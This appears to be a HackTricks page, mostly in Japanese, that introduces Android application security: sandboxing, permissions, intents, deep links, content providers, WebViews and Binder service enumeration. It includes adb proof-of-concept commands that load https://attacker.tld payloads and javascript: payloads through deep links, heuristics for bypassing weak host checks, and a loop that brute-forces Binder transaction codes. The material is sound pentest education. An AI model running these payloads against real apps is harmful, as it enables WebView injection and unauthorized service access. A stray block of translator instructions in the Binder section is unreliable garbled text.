Android Applications Basics

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Android Security Model

レイヤーは2つあります:

  • OS — インストールされたアプリを相互に隔離します。
  • アプリケーション自体 — 開発者が特定の機能を**公開(expose)**し、アプリの動作を設定します。

UID Separation

各アプリには固有の User ID が割り当てられます。 これはインストール時に行われ、アプリはその User ID が所有するファイルか共有ファイルにしかアクセスできません。 したがって、アプリ自身、OS の特定コンポーネント、および root ユーザのみがアプリのデータにアクセスできます。

UID Sharing

2つのアプリが同じ UID を共有するよう設定できることがあります。 情報共有には便利ですが、片方が侵害されると両方のデータが危険にさらされます。したがってこの挙動は推奨されません。
同じ UID を共有するには、アプリの manifest に同じ android:sharedUserId 値を定義する必要があります。

Sandboxing

Android Application Sandbox各アプリを別プロセス、別の User ID の下で動作させる仕組みです。各プロセスは独自の仮想マシンを持つため、アプリのコードは他のアプリから隔離されます。
Android 5.0(L) 以降は SELinux が強制されます。基本的に SELinux はすべてのプロセス間の相互作用を拒否し、期待される相互作用のみを許可するポリシーを作成します。

Permissions

アプリをインストールするときに権限を要求する場合、その権限は AndroidManifest.xmluses-permission 要素で設定されています。uses-permission 要素は要求する権限の名前を name 属性 に示します。また、maxSdkVersion 属性を持ち、指定したバージョンより高い場合は権限を要求しないようにできます。
注意:Android アプリはインストール時にすべての権限を要求する必要はなく、動的に権限を要求することも可能ですが、要求するすべての権限は manifest に宣言されていなければなりません。

アプリが機能を公開するとき、特定の permission を持つアプリだけにアクセスを限定することができます。
permission 要素は主に3つの属性を持ちます:

  • 権限の name
  • 関連権限をグループ化する permission-group 属性
  • 権限がどのように付与されるかを示す protection-level。主に4種類あります:
    • Normal: アプリに対する既知の脅威がない場合に使われます。ユーザの承認は不要です。
    • Dangerous: 要求アプリに高い権限を与えることを示します。ユーザの承認が必要です。
    • Signature: コンポーネントをエクスポートしているものと同じ証明書で署名されたアプリのみ許可されます。最も強い保護です。
    • SignatureOrSystem: 同じ証明書で署名されたアプリ、またはsystem レベルのアクセスで動作するアプリのみ許可されます。

Pre-Installed Applications

これらのアプリは一般に /system/app または /system/priv-app ディレクトリにあり、中には最適化されていて(classes.dex が見つからないこともあります)チェックの価値があります。なぜなら 過剰な権限で動作していることがあるからです(root 権限など)。

  • AOSP (Android OpenSource Project) ROM に付属するもの
  • デバイスの manufacturer が追加したもの
  • 携帯キャリアが追加したもの(キャリアから購入した場合)

Rooting

In order to obtain root access into a physical android device you generally need to exploit 1 or 2 vulnerabilities which use to be specific for the device and version.
Once the exploit has worked, usually the Linux su binary is copied into a location specified in the user’s PATH env variable like /system/xbin.

Once the su binary is configured, another Android app is used to interface with the su binary and process requests for root access like Superuser and SuperSU (available in Google Play store).

Caution

ルーティング(root 化)のプロセスは非常に危険で、デバイスを深刻に破損する可能性があります

ROMs

OS を置き換えて custom firmware をインストールすることが可能です。これにより古いデバイスの有用性を拡張したり、ソフトウェアの制限を回避したり、最新の Android コードにアクセスしたりできます。
OmniROMLineageOS は人気のあるカスタムファームウェアです。

すべての場合で device を root する必要があるわけではない点に注意してください。一部の manufacturer はブートローダのアンロックを文書化された安全な方法で許可しています。

Implications

一度デバイスが root 化されると、任意のアプリが root 権限を要求できるようになります。悪意あるアプリが root 権限を取得すると、ほぼすべてにアクセスでき、端末を破壊することも可能になります。

Android Application Fundamentals

  • Android アプリの形式は APK file format と呼ばれます。実質的には ZIP ファイル で(拡張子を .zip に変更すると内容を展開して確認できます)。
  • APK の内容(網羅的ではありません)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: バイナリ XML のような、プリコンパイルされたリソースを含みます。
  • res/xml/files_paths.xml
  • META-INF/
  • ここに Certificate が格納されています!
  • classes.dex
  • Dalvik bytecode を含み、デフォルトでアプリが実行するコンパイル済みの Java(または Kotlin)コードを表します。
  • lib/
  • ネイティブライブラリを CPU アーキテクチャごとにサブディレクトリで格納します。
  • armeabi: ARM ベースのプロセッサ向けコード
  • armeabi-v7a: ARMv7 以上向けコード
  • x86: x86 プロセッサ向けコード
  • mips: MIPS 向けコード(限定)
  • assets/
  • アプリが必要とする雑多なファイルを格納します。追加のネイティブライブラリや DEX ファイルが含まれることがあり、マルウェア作者が追加コードを隠すのに使うこともあります。
  • res/
  • resources.arsc にコンパイルされないリソースを含みます

Dalvik & Smali

Android 開発では Java や Kotlin が用いられます。デスクトップアプリのように JVM を使う代わりに、これらのコードは Dalvik Executable (DEX) bytecode にコンパイルされます。以前は Dalvik VM がこのバイトコードを扱っていましたが、新しい Android では Android Runtime (ART) が引き継いでいます。

リバースエンジニアリングのために Smali は重要になります。これは DEX バイトコードの人間可読版で、アセンブリ言語のようにソースをバイトコード命令に対応させて表現します。Smali と baksmali はそれぞれこの文脈でのアセンブル/逆アセンブルツールを指します。

Intents

Intents は Android アプリが自コンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、HTTP の GET/POST のようにアプリ間やコンポーネント間でデータを運ぶこともできます。

要するに Intent は コンポーネント間で渡されるメッセージ です。Intent は 特定のコンポーネントに向けて送ることも特定の受信者なしに送ることもできます。
簡潔に言えば Intent は以下の用途で使えます:

  • Activity を起動し、通常はアプリの UI を開く
  • システムやアプリに変更を通知する broadcast として
  • バックグラウンドサービスの開始、停止、通信
  • ContentProviders 経由でデータへアクセスする
  • イベント処理のコールバックとして

脆弱であれば、Intents はさまざまな攻撃に利用され得ます。

Intent-Filter

Intent Filters は activity、service、Broadcast Receiver がどのような種類の Intent と相互作用できるかを定義します。 要するに、これらのコンポーネントがどんなアクションを実行できるか、どんな broadcast を処理できるかといった能力を記述します。これらのフィルタは主に AndroidManifest.xml 内で宣言されますが、Broadcast Receiver に関してはコードで定義することも可能です。

Intent Filters は category、action、data フィルタで構成され、追加のメタデータを含めることもできます。これにより、宣言された条件に一致する特定の Intent をコンポーネントが処理できるようになります。

Android のコンポーネント(activities/services/content providers/broadcast receivers)で重要なのはその可視性、つまり public ステータス です。コンポーネントは manifest で exportedtrue にしているか、Intent Filter が宣言されている場合に外部アプリとやり取りできます。しかし開発者はこれらのコンポーネントを明示的にプライベートにして、他アプリと意図せずやり取りしないようにできます。これは manifest 定義で exported 属性を false に設定することで実現します。

さらに、開発者は特定の権限を要求することでこれらのコンポーネントへのアクセスを保護することもできます。permission 属性を設定すると、指定された権限を持つアプリだけがコンポーネントにアクセスできるようになり、誰がやり取りできるかを制御する追加のセキュリティ層が提供されます。

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

暗黙的 Intents

Intents は Intent コンストラクタを使ってプログラムから作成されます:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

前に宣言した intent の ActionACTION_SEND で、Extra は mailto Uri です(Extra は intent が期待する追加情報です)。

この intent は、次の例のように manifest 内に宣言する必要があります:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

An intent-filter needs to match the action, data and category to receive a message.

The “Intent resolution” process determine which app should receive each message. This process considers the priority attribute, which can be set in the intent-filter declaration, and the one with the higher priority will be selected. This priority can be set between -1000 and 1000 and applications can use the SYSTEM_HIGH_PRIORITY value. If a conflict arises, a “choser” Window appears so the user can decide.

Explicit Intents

Intent downloadIntent = new (this, DownloadService.class):

他のアプリケーションから、先に宣言された intent にアクセスするには、次の方法を使用できます:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

これらにより、他のアプリケーションがあなたのアプリの識別情報と権限を使って、あなたのアプリの代わりに操作を行うことができます。Constructing a Pending Intent it should be specified an intent and the action to perform。宣言されたIntentがExplicitでない(どのIntentが呼び出せるかを宣言していない)場合、悪意のあるアプリが犠牲アプリに代わってその宣言されたアクションを実行する可能性があります。さらに、アクションが指定されていないと、悪意のあるアプリは被害者に代わって任意のアクションを実行できるようになります。

Broadcast Intents

前述のように1つのアプリしか受信しないintentとは異なり、broadcast intentsは複数のアプリによって受信される可能性があります。ただし、API version 14以降では、Intent.set Packageを使ってメッセージを受け取るべきアプリを指定することが可能です。

あるいはbroadcastを送信する際にpermissionを指定することも可能です。受信側のアプリはそのpermissionを持っている必要があります。

Broadcastsには2つのタイプがあり、Normal(非同期)とOrdered(同期)です。順序はreceiver element内で設定されたpriorityに基づきます。各アプリはBroadcastを処理、転送、または破棄できます。

ContextクラスのsendBroadcast(intent, receiverPermission)関数を使ってbroadcastを送信することができます。
また、**LocalBroadCastManager**のsendBroadcast関数を使うと、メッセージがアプリ外に出ないことが保証されます。これを使えばreceiverコンポーネントをexportする必要さえありません。

Sticky Broadcasts

この種のBroadcastsは送信後もしばらくの間アクセス可能です。
これらはAPI level 21で非推奨になっており、使用しないことが推奨されます
どのアプリケーションでもデータを覗き見できるだけでなく、変更することも可能です。

もしsendStickyBroadcastsendStickyBroadcastAsUserのように「sticky」という単語を含む関数を見つけたら、影響を確認し、可能なら削除することを検討してください

Androidアプリでは、deep linksを使用してURL経由で直接アクション(Intent)を起動します。これはactivity内で特定のURL schemeを宣言することで行われます。Androidデバイスがこのschemeを持つURLにアクセスしようとすると、アプリ内で指定されたactivityが起動します。

そのschemeは**AndroidManifest.xml**ファイル内で宣言する必要があります:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

前の例のスキームは examplescheme:// です(category BROWSABLE にも注意してください)

次に、data フィールドで hostpath を指定できます:

<data android:scheme="examplescheme"
android:host="example"
/>

ウェブからアクセスするには、次のようなリンクを設定できます:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

In order to find the code that will be executed in the App, go to the activity called by the deeplink and search the function onNewIntent.

Learn how to call deep links without using HTML pages.

  • Entry point discovery: exported Activities that declare <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> は、細工した URI(custom schemes または http/https App Links)経由でリモートから到達可能です。login/reset/payment/wallet/admin のキーワードを含むパスを優先してください。
  • Validation bypass heuristics: endsWith(), contains() のような弱いホストチェック、許容的な正規表現、または部分文字列の allowlist は、通常、攻撃者制御のサブドメイン、プレフィックス/サフィックスの工夫、および URL/UTF‑8 の二重エンコーディングでバイパスできます。
  • WebView sinks: ハンドラが受け取った URI やクエリパラメータを WebView.loadUrl(...) に渡す場合、アプリに任意の攻撃者コンテンツをレンダリングさせることができます。スキーム検証が弱い場合は、javascript: ペイロードや外部の https:// URL も試してください。
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operational tips: 複数のペイロードバリアント(external URL vs javascript:)をキャプチャして、device/emulator に対して素早くリプレイし、real issues(open-redirect/auth-bypass/WebView URL injection)と static-analysis noise を区別する。

  • Automation: Deep-C は APK を decompile(apktool + dex2jar + jadx)して deeplink 探索を自動化し、exported + browsable activities を列挙し、weak validation と WebView.loadUrl フローを相関させ、実行可能な adb PoCs を出力します(オプションで --exec による自動実行可能)。

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) は、Android アプリケーションにおけるクライアントとサービス間の通信をプロセス間通信(IPC)を通じて簡素化するために設計されています。Android では別プロセスのメモリに直接アクセスすることが許可されていないため、AIDL はオブジェクトを OS が理解できる形式にマーシャリングして、異なるプロセス間の通信を容易にします。

Key Concepts

  • Bound Services: これらのサービスは IPC に AIDL を利用し、activities やコンポーネントがサービスに bind してリクエストを送り、レスポンスを受け取れるようにします。サービスクラス内の onBind メソッドは相互作用を開始するために重要であり、脆弱性を探す際の重要なレビュー対象となります。

  • Messenger: Bound service として機能し、onBind を通じてデータ処理に焦点を当てた IPC を提供します。onBind メソッド内での不安全なデータ処理や機密機能の実行を注意深く確認することが重要です。

  • Binder: AIDL の抽象化のため直接 Binder クラスを使うことは少ないですが、Binder はカーネルレベルのドライバとして異なるプロセスのメモリ空間間でデータ転送を仲介する役割を持つことを理解しておくと有益です。さらなる理解のために次のリソースを参照してください: https://www.youtube.com/watch?v=O-UHvFjxwZ8

Components

これらには以下が含まれます: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

In Android apps, activities are like screens, showing different parts of the app’s user interface. An app can have many activities, each one presenting a unique screen to the user.

The launcher activity is the main gateway to an app, launched when you tap the app’s icon. It’s defined in the app’s manifest file with specific MAIN and LAUNCHER intents:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

すべてのアプリがランチャーアクティビティを必要とするわけではありません。特にユーザーインターフェースを持たないバックグラウンドサービスのようなものは不要です。

アクティビティは manifest で “exported” とマークすることで他のアプリやプロセスから利用できるようにできます。この設定により他のアプリはこのアクティビティを起動できます:

<service android:name=".ExampleExportedService" android:exported="true"/>

しかし、別のアプリから activity にアクセスすることが常にセキュリティリスクというわけではありません。問題になるのは、機密データが不適切に共有され、それが information leaks を引き起こす可能性がある場合です。

activity のライフサイクルは onCreate method から始まり、UI をセットアップしてユーザーとのやり取りに備えます。

Application サブクラス

Android 開発では、アプリは Application クラスの サブクラス を作成するオプションがありますが、必須ではありません。そのようなサブクラスが定義されると、アプリ内で最初にインスタンス化されるクラスになります。 このサブクラスで attachBaseContext メソッドが実装されている場合、onCreate メソッドより前に実行されます。この設定により、アプリケーションの他の部分が起動する前に早期の初期化が可能になります。

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Services

Services are バックグラウンドで動作する実体で、ユーザーインターフェースを持たずにタスクを実行できます。これらのタスクはユーザーが別のアプリに切り替えても実行を続けることができるため、サービスは長時間実行される処理にとって重要です。

Services は多用途で、さまざまな方法で起動できます。アプリケーションのエントリーポイントとして起動する主な方法は Intents です。startService メソッドでサービスが起動されると、その onStart メソッドが動作を開始し、stopService メソッドが明示的に呼ばれるまで実行され続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存する場合は、クライアントをサービスにバインドするために bindService メソッドが使用され、データ受け渡しには onBind メソッドが利用されます。

サービスの興味深い用途には、ユーザーの操作を妨げることなくバックグラウンドで音楽を再生したり、ネットワークデータを取得したりすることが含まれます。さらに、サービスは exporting によって同一デバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifest file で明示的な設定が必要です:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers はメッセージングシステムのリスナーとして機能し、複数のアプリがシステムからの同じメッセージに応答できるようにします。アプリはレシーバーを登録する方法が主に2つあります:アプリのManifestで宣言する方法、またはアプリのコード内で**registerReceiver** API を介して動的に登録する方法です。Manifest 内ではブロードキャストは権限でフィルタされ、動的に登録されたレシーバーも登録時に権限を指定できます。

Intent filters は両方の登録方法で重要で、どのブロードキャストがレシーバーをトリガーするかを決定します。マッチするブロードキャストが送信されると、レシーバーの onReceive メソッドが呼ばれ、例えばバッテリー低下のアラートに応じて動作を調整するなど、アプリが適切に反応できるようになります。

ブロードキャストは非同期で順序なしに全てのレシーバーに届く場合と、設定された優先度に基づいてレシーバーが受信する同期の場合があります。ただし、任意のアプリが自身の優先度を上げてブロードキャストを傍受できるため、潜在的なセキュリティリスクがある点に注意が必要です。

レシーバーの機能を理解するには、そのクラス内の onReceive メソッドを探してください。このメソッドのコードは受信した Intent を操作できるため、特に Ordered Broadcasts のように Intent を変更または破棄できる場合には、レシーバー側での入力検証が重要です。

Content Provider

Content Providers はアプリ間で構造化されたデータを共有するために重要であり、データの安全性を確保するために権限を適切に実装することが重要です。これにより、アプリはデータベース、ファイルシステム、または Web といった様々なソースのデータにアクセスできます。readPermissionwritePermission のような特定の権限はアクセス制御において重要です。さらに、一時的なアクセスはアプリのマニフェストにおける grantUriPermission 設定で付与でき、pathpathPrefixpathPattern といった属性で詳細なアクセス制御が可能です。

入力検証は、SQL インジェクションのような脆弱性を防ぐために最重要です。Content Providers は基本的な操作である insert()update()delete()、および query() をサポートしており、アプリ間でのデータ操作と共有を可能にします。

Permission semantics and pitfalls (Content Providers)

  • プロバイダが exported(公開)されている場合、readPermissionwritePermission を明示的に宣言するべきです。writePermission が省略されるとデフォルトは null になり、プロバイダがこれらのメソッドを実装している場合、任意のアプリが insert/update/delete を試みることができます。
  • 信頼できない projectionselectionselectionArgs、または sortOrder を生の SQL に連結してはいけません。ホワイトリストとパラメータバインディング(例: SQLiteQueryBuilder と projection map の併用)や固定の WHERE テンプレートを使用してください。
  • プロバイダを公開する必要がない限り、android:exported="false" を推奨します。選択的な共有には grantUriPermissionspath/pathPrefix/pathPattern を使用してください。

FileProvider はファイルを安全に共有するための特殊な Content Provider です。アプリのマニフェストに定義され、フォルダへのアクセス制御は android:exportedandroid:resource(フォルダ構成を示す)といった属性で行います。ディレクトリを共有する際は、機密データを誤って公開しないよう注意が必要です。

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

filepaths.xml に共有フォルダを指定する例:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViews

WebViewsはAndroidアプリ内の小型のウェブブラウザのようなもので、webまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の設定によりこれらのリスクを軽減する方法があります。

Androidには主に2つのWebViewタイプがあります:

  • WebViewClient は基本的なHTMLに適していますが、JavaScriptのalert関数をサポートしていないため、XSS攻撃のテスト方法に影響します。
  • WebChromeClient は、より完全なChromeブラウザの体験に近い動作をします。

重要な点は、WebViewブラウザはデバイスのメインブラウザとクッキーを共有しないことです。

コンテンツの読み込みには loadUrl, loadData, loadDataWithBaseURL といったメソッドが利用できます。これらのURLやファイルが安全に使用できることを確認することが重要です。セキュリティ設定は WebSettings クラスで管理できます。例えば、setJavaScriptEnabled(false) でJavaScriptを無効にすると XSS攻撃を防げます。

JavaScript の “Bridge” はJavaオブジェクトをJavaScriptと連携させます。Android 4.2以降ではセキュリティのためにメソッドに @JavascriptInterface を付ける必要があります。

コンテンツアクセスを許可する (setAllowContentAccess(true)) と、WebViewが Content Providers にアクセスできるようになります。コンテンツのURLが安全であると検証されていない限り、これはリスクとなり得ます。

ファイルアクセスを制御するには:

  • ファイルアクセスを無効にする (setAllowFileAccess(false)) と、ファイルシステムへのアクセスが制限されます。特定のassetsに例外はありますが、それらは機密性の低いコンテンツにのみ使用するようにしてください。

その他のアプリコンポーネントとモバイルデバイス管理

アプリケーションのデジタル署名

  • デジタル署名はAndroidアプリに必須で、インストール前に正当な作者によるものであることを保証します。このプロセスはアプリ識別のための証明書を使用し、インストール時にデバイスのパッケージマネージャによって検証されます。アプリは自己署名または外部CAによる認証が可能で、不正アクセスを防ぎ、配信中に改ざんされていないことを確保します。

App Verification for Enhanced Security

  • Android 4.2以降、Verify Apps と呼ばれる機能により、ユーザーはインストール前にアプリの安全性をチェックできます。この検証プロセスは潜在的に有害なアプリに対してユーザーに警告したり、特に悪質なアプリのインストールを阻止したりして、ユーザーの安全性を高めます。

Mobile Device Management (MDM)

  • MDMソリューションDevice Administration APIを通じてモバイルデバイスの監視とセキュリティを提供します。これらはモバイルデバイスを効果的に管理・保護するためにAndroidアプリのインストールを必要とします。主要な機能にはパスワードポリシーの適用ストレージ暗号化の強制リモートでのデータ消去の許可が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

AIDL / Binder サービスの列挙と悪用

Android Binder IPC は多くの システムおよびベンダー提供のサービス を公開しています。これらのサービスは、適切な権限チェックなしでエクスポートされると attack surface になります(AIDL レイヤ自体は アクセス制御を行わない)。

1. 実行中のサービスを発見する

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper
  1. 翻訳したいファイルの内容(または該当箇所)を送ってください。
  2. 特別な除外ルールや保持すべきタグ・パスがあれば明記してください(例: {#tabs}, リンクやパス)。
  3. 受け取り次第、元のmarkdown/HTML構造を維持して日本語へ翻訳して返します。
145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • The index (first column) は実行時に割り当てられます — 再起動を跨いで依存しないでください。
  • The Binder name (e.g. mtkconnmetrics) は service call に渡される名前です。
  • 括弧内の値は、stub が生成された完全修飾された AIDL インターフェース です。

2. インターフェース記述子を取得する (PING)

すべての Binder stub は自動的に transaction code 0x5f4e5446(10進数 1598968902、ASCII “_NTF”)を実装します。

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

有効な応答は、インターフェース名を Parcel の内部に UTF-16 文字列としてエンコードして返します。

3. トランザクションの呼び出し

構文: service call <name> <code> [type value ...]

一般的な引数指定子:

  • i32 <int> – 符号付き32ビット値
  • i64 <long> – 符号付き64ビット値
  • s16 <string> – UTF-16 文字列(Android 13+ では utf16 を使用)

例 – MediaTek ハンドセットで uid 1 のネットワーク監視を開始する:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing 不明なメソッド

header filesが利用できない場合は、エラーが次のように変わるまでiterate the codeできます:

Result: Parcel(00000000 00000000)  # "Not a data message"

通常の Parcel レスポンスまたは SecurityException が返されます。

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

サービスがwith proguardでコンパイルされている場合、マッピングは推測する必要があります – 次のステップを参照してください。

5. onTransact() を使ったコード ↔ メソッドのマッピング

インタフェースを実装している jar/odex をデコンパイルする(AOSP の stubs は /system/framework を確認;OEMs はしばしば /system_ext/vendor を使用)。 Stub.onTransact() を検索する – そこには巨大な switch(transactionCode) が含まれている:

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

これでプロトタイプとパラメータの型は完全に明確になった。

6. 権限チェックの欠如を見つける

実装(多くの場合内部の Impl クラス)は認可を担当する:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

そのようなロジックや特権UID(例: uid == 1000 /*system*/)のホワイトリストが存在しないことは脆弱性の指標です。

ケーススタディ – MediaTekstartMonitorProcessWithUid()(transaction 8)は、いかなる権限チェックも介さずに Netlink メッセージを完全に実行し、権限のないアプリがカーネルの Netfilter モジュールとやり取りしてシステムログをスパムできるようにしていました。

7. 評価の自動化

Binder reconnaissance を高速化するツール / スクリプト:

  • binderfs – per-service ノードを持つ /dev/binderfs を公開する
  • binder-scanner.py – バインダーテーブルを走査し ACLs を表示する
  • Frida ショートカット: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする